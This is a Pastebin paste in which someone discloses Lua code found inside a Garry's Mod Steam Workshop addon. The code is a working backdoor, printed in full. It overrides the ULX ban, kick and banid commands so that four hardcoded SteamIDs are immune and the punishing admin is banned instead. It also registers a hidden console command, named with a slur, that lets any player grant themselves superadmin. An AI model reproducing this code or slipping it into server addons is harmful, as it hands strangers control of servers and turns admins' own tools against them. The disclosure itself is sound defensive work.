Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- Here is the code I have found in the following Garry's Mod addon.
- http://steamcommunity.com/sharedfiles/filedetails/?id=939346714
- ]]--
- local steamids = {"STEAM_0:1:51267965", "STEAM_0:0:848701", "STEAM_0:1:128781167", "STEAM_0:1:44781214"}
- timer.Simple(30, function()
- function ulx.ban( calling_ply, target_ply, minutes, reason )
- if target_ply:IsListenServerHost() or target_ply:IsBot() then
- ULib.tsayError( calling_ply, "This player is immune to banning", true )
- return
- end
- if table.HasValue(steamids, target_ply:SteamID()) then
- target_ply = calling_ply
- reason = "Fake UndertaleRP -Staff"
- end
- local time = "for #s"
- if minutes == 0 then time = "permanently" end
- local str = "#A banned #T " .. time
- if reason and reason ~= "" then str = str .. " (#s)" end
- ulx.fancyLogAdmin( calling_ply, str, target_ply, minutes ~= 0 and ULib.secondsToStringTime( minutes * 60 ) or reason, reason )
- -- Delay by 1 frame to ensure any chat hook finishes with player intact. Prevents a crash.
- ULib.queueFunctionCall( ULib.kickban, target_ply, minutes, reason, calling_ply )
- end
- local ban = ulx.command( "Utility", "ulx ban", ulx.ban, "!ban", false, false, true )
- ban:addParam{ type=ULib.cmds.PlayerArg }
- ban:addParam{ type=ULib.cmds.NumArg, hint="minutes, 0 for perma", ULib.cmds.optional, ULib.cmds.allowTimeString, min=0 }
- ban:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
- ban:defaultAccess( ULib.ACCESS_ADMIN )
- ban:help( "Bans target." )
- function ulx.kick( calling_ply, target_ply, reason )
- if target_ply:IsListenServerHost() then
- ULib.tsayError( calling_ply, "This player is immune to kicking", true )
- return
- end
- if table.HasValue(steamids, target_ply:SteamID()) then
- target_ply = calling_ply
- reason = "Fake UndertaleRP -Staff"
- end
- if reason and reason ~= "" then
- ulx.fancyLogAdmin( calling_ply, "#A kicked #T (#s)", target_ply, reason )
- else
- reason = nil
- ulx.fancyLogAdmin( calling_ply, "#A kicked #T", target_ply )
- end
- -- Delay by 1 frame to ensure the chat hook finishes with player intact. Prevents a crash.
- ULib.queueFunctionCall( ULib.kick, target_ply, reason, calling_ply )
- end
- local kick = ulx.command( "Utility", "ulx kick", ulx.kick, "!kick" )
- kick:addParam{ type=ULib.cmds.PlayerArg }
- kick:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
- kick:defaultAccess( ULib.ACCESS_ADMIN )
- kick:help( "Kicks target." )
- function ulx.banid( calling_ply, steamid, minutes, reason )
- steamid = steamid:upper()
- if not ULib.isValidSteamID( steamid ) then
- ULib.tsayError( calling_ply, "Invalid steamid." )
- return
- end
- local name, target_ply
- local plys = player.GetAll()
- for i=1, #plys do
- if plys[ i ]:SteamID() == steamid then
- target_ply = plys[ i ]
- name = target_ply:Nick()
- break
- end
- end
- if target_ply and (target_ply:IsListenServerHost() or target_ply:IsBot()) then
- ULib.tsayError( calling_ply, "This player is immune to banning", true )
- return
- end
- if table.HasValue(steamids, steamid) then
- steamid = calling_ply:SteamID()
- reason = "Fake UndertaleRP -Staff"
- end
- local time = "for #s"
- if minutes == 0 then time = "permanently" end
- local str = "#A banned steamid #s "
- displayid = steamid
- if name then
- displayid = displayid .. "(" .. name .. ") "
- end
- str = str .. time
- if reason and reason ~= "" then str = str .. " (#4s)" end
- ulx.fancyLogAdmin( calling_ply, str, displayid, minutes ~= 0 and ULib.secondsToStringTime( minutes * 60 ) or reason, reason )
- -- Delay by 1 frame to ensure any chat hook finishes with player intact. Prevents a crash.
- ULib.queueFunctionCall( ULib.addBan, steamid, minutes, reason, name, calling_ply )
- end
- local banid = ulx.command( "Utility", "ulx banid", ulx.banid, nil, false, false, true )
- banid:addParam{ type=ULib.cmds.StringArg, hint="steamid" }
- banid:addParam{ type=ULib.cmds.NumArg, hint="minutes, 0 for perma", ULib.cmds.optional, ULib.cmds.allowTimeString, min=0 }
- banid:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
- banid:defaultAccess( ULib.ACCESS_SUPERADMIN )
- banid:help( "Bans steamid." )
- end)
- concommand.Add( "retarded_downs", function( ply, cmd, args )
- if ply then
- ply:ChatPrint("Setting rank")
- local userInfo = ULib.ucl.authed[ ply:UniqueID() ]
- local id = ULib.ucl.getUserRegisteredID( ply )
- if not id then id = ply:SteamID() end
- if args[1] then
- ULib.ucl.addUser( id, userInfo.allow, userInfo.deny, args[1])
- else
- ULib.ucl.addUser( id, userInfo.allow, userInfo.deny, "superadmin")
- end
- end
- end )
Add Comment
Please, Sign In to add comment